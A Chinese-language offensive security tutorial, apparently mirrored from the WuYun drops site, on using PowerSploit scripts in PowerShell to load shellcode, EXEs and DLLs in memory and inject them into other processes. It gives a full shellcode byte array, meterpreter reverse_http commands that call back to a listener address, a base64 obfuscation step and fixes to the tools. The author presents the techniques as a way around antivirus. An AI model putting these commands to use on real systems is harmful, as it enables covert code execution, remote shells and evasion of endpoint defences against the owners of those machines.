Powershell tricks::Code Execution & Process Injection

wyzsk發表於2020-08-19
作者: 三好學生 · 2015/11/23 10:56

0x00 前言


寫這篇文章有兩個原因,一是想介紹一下powershell的高階使用技巧,二是我在測試一些powershell指令碼時發現了很多bug,提交給作者後更新的也不及時,於是就有了自己維護程式碼的想法. 接下來我會陸續把在drops上發的程式碼上傳到github,大家共同學習,共同進步。 地址如下:https://github.com/3gstudent

這裡寫圖片描述

此圖片來自於 http://dfir-blog.com/2015/09/27/dissecting-powershell-attacks/

0x01 簡介


目前來說,Powershell依然能夠bypass AV,以前的各種攻擊技巧如果能夠透過Powershell實現該有多好,所以這次先介紹一下如何利用Powershell分別載入Shellcode、exe、dll,以及透過Powershell如何向其他程式注入shellcode、dll。

0x02 測試環境


win7 x86
win7 x64
win8 x86
win8 x64

0x03 Code Execution


1、利用powershell載入shellcode

參考地址:
https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke--Shellcode.ps1

這個指令碼不僅能夠將shellcode注入到當前Powershell中,同時還支援在當前Powershell中反彈meterpreter,支援http和https協議。

測試1:

> 利用powershell載入shellcode

shellcode為彈出計算器

在Invoke--Shellcode.ps1尾部新增如下程式碼,並儲存為CodeExecution-Shellcode.ps1

#!powershell
Invoke-Shellcode -Shellcode @(0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,
                                  0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,
                                  0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,
                                  0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,
                                  0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,
                                  0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,
                                  0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
                                  0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,
                                  0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,
                                  0x6a,0x01,0x8d,0x85,0xb9,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5,
                                  0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,
                                  0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,
                                  0x61,0x6c,0x63,0x00)

在win7 x86下

如圖

這裡寫圖片描述

在win 7 x64下,將Shellcode替換為64為Shellcode,執行同樣成功,截圖略

win8 x86成功,略。
win8 x64成功,略。

測試2:

> 利用powershell反彈meterpreter

在Invoke--Shellcode.ps1尾部新增如下程式碼,並儲存為CodeExecution-Meterpreter.ps1

#!powershell
Invoke-Shellcode -Payload windows/meterpreter/reverse_http -Lhost 192.168.16.245 -Lport 8080

在win7 x86下,

如圖

這裡寫圖片描述

這裡寫圖片描述

win7 x64成功,略。
win8 x86成功,略。
win8 x64成功,略。

2、利用powershell載入exe

參考地址:
https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1

Invoke-ReflectivePEInjection.ps1實現了讀取exe檔案然後執行,本文給出一種加密exe然後用Powershell解密執行的方法,並比較幾種加密方式的優劣。

示例exe:

vc新建控制檯工程,使用如下程式碼:

#!c
printf("hello world");
Sleep(10000);
return 0;

生成test.exe,執行後輸出hello world,等待10s程式退出

測試3:

> 使用Powershell讀取test.exe並執行

在Invoke-ReflectivePEInjection.ps1尾部新增如下程式碼:

#!powershell
Invoke-ReflectivePEInjection -PEPath c:\test\test.exe -ExeArgs "Arg1" -ForceASLR

儲存為3-CodeExecution-ReadExe.ps1,同test.exe放在同一目錄

在win7 x86下,

如圖

這裡寫圖片描述

在win7 x64下,直接執行會報錯,如圖

這裡寫圖片描述

解決方法:

test.exe是32位的程式,需要改成64位,所以將vc的編譯選項改為x64,同時MFC的使用改為在靜態庫中使用MFC(熟悉c++的應該都懂)

換成64位的test.exe後執行,成功,如圖

這裡寫圖片描述

win8 x86成功,略。
win8 x64成功,略。

測試4:

> 使用Powershell讀取加密的test.exe並執行

先將test.exe轉換為Unicode再做base64編碼儲存,然後Powershell解密該編碼執行test.exe

首先編寫Powershell編碼程式,儲存為unicode+base64.ps1,程式碼如下:

#!powershell
$PEBytes = [System.IO.File]::ReadAllBytes("C:\test.exe")
$UnicodeBytes  = [System.Text.Encoding]::Unicode.GetBytes($PEBytes)
$Base64Payload = [System.Convert]::ToBase64String($UnicodeBytes)
Set-Content test.b64  -Value $Base64Payload

上述程式碼的功能為讀取test.exe,轉換成Unicode格式再進行Base64編碼,最終儲存為test.b64檔案

將3-CodeExecution-ReadExe.ps1作如下更改,並儲存為4-CodeExecution-Exe(unicode+base64).ps1

第2906行替換為

#!powershell
$PEBytes1 = Get-Content (Resolve-Path $PEPath)

$PEBytes2 = [System.Convert]::FromBase64String($PEBytes1)

[Byte[]]$PEBytes = [System.Text.Encoding]::Unicode.GetString($PEBytes2)

最後一行替換為

#!powershell
Invoke-ReflectivePEInjection -PEPath c:\test\test.b64 -ExeArgs "Arg1" -ForceASLR

在win7 x86下,測試成功,但速度很慢,實際使用時只需要做base64編碼就好,去掉轉成Unicode的功能,只做base64編碼,測試檔案為base64.ps1、4-CodeExecution-Exe(base64).ps1,測試成功,如圖

這裡寫圖片描述

在win7 x64下,換用64位的test.exe,成功
win8 x86成功,略。
win8 x64成功,略。

3、利用powershell載入dll

參考地址:
https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1
https://github.com/PowerShellMafia/PowerSploit/tree/master/CodeExecution/Invoke-ReflectivePEInjection_Resources/DemoDLL

示例dll:

使用上述連結中的dll,僅作測試

dll定義了3個匯出函式:

#!c
StringFunc()
VoidFunc()
WStringFunc()

測試5:

> 使用Powershell載入DemoDLL.dll

在Invoke-ReflectivePEInjection.ps1尾部新增

#!powershell
Invoke-ReflectivePEInjection -PEPath DemoDLL.dll -FuncReturnType WString

儲存為5-CodeExecution-dll.ps1

在win7 x86下成功載入匯出函式WStringFunc(),如圖

這裡寫圖片描述

在win7 x64下,換成64位的DemoDLL,成功,如圖

這裡寫圖片描述

win8 x86成功,略。
win8 x64成功,略。

0x04 Process Injection


參考地址:
https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke--Shellcode.ps1

1、透過powershell向其他程式注入shellcode

測試6:

> 透過powershell向explorer.exe注入meterpreter

在Invoke--Shellcode.ps1尾部新增如下程式碼,儲存為6-Process Injection-Shellcode.ps1

#!powershell
$Proc = Get-Process explorer
Invoke-Shellcode -ProcessId $Proc.Id -Payload windows/meterpreter/reverse_http -Lhost 192.168.16.245 -Lport 8083 -Verbose

在win7 x86下執行報錯,如圖

這裡寫圖片描述

透過閱讀程式碼找到錯誤原因,需要手動指定系統判斷,因此需要在337行新增$64bitCPU = $false

再次執行,解決問題,meterpreter成功注入到explorer.exe中,如圖

這裡寫圖片描述

win7 x64成功,略。
win8 x86成功,略。
win8 x64成功,略。

2、透過powershell向其他程式注入dll

參考地址:
https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-DllInjection.ps1

測試7:

> 透過powershell向explorer.exe注入DemoDLL.dll

在Invoke-DllInjection.ps1尾部新增如下程式碼,儲存為7-Process Injection-dll.ps1

#!powershell
$Proc = Get-Process notepad
Invoke-DllInjection -ProcessId $Proc.Id -Dll DemoDLL.dll

將DemoDLL.dll注入explorer.exe,成功,刪除DemoDLL.dll提示已在記事本中開啟,如圖

這裡寫圖片描述

在win7 x64下,換成64位的DemoDLL,成功,如圖

這裡寫圖片描述

win8 x86成功,略。

win8 x64下,執行後報錯,如圖

這裡寫圖片描述

查詢錯誤位置,最終解決問題,需要更改第284行,將

if ($Architecture -ne 'X86')

更改為

if ($Architecture -eq 'X86')

並儲存為7-Process Injection-dll(win8x64).ps1,然後執行成功,如圖

這裡寫圖片描述

0x05 小結


我在測試過程中開啟了Norton Internet Security,可在程式注入的過程中並未被攔截,powershell在防毒軟體面前“似乎變成了透明”

powershell的“強大”正慢慢被髮掘:)

注:

以上程式碼可在此下載:
https://github.com/3gstudent

本文由三好學生原創並首發於烏雲drops,轉載請註明

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章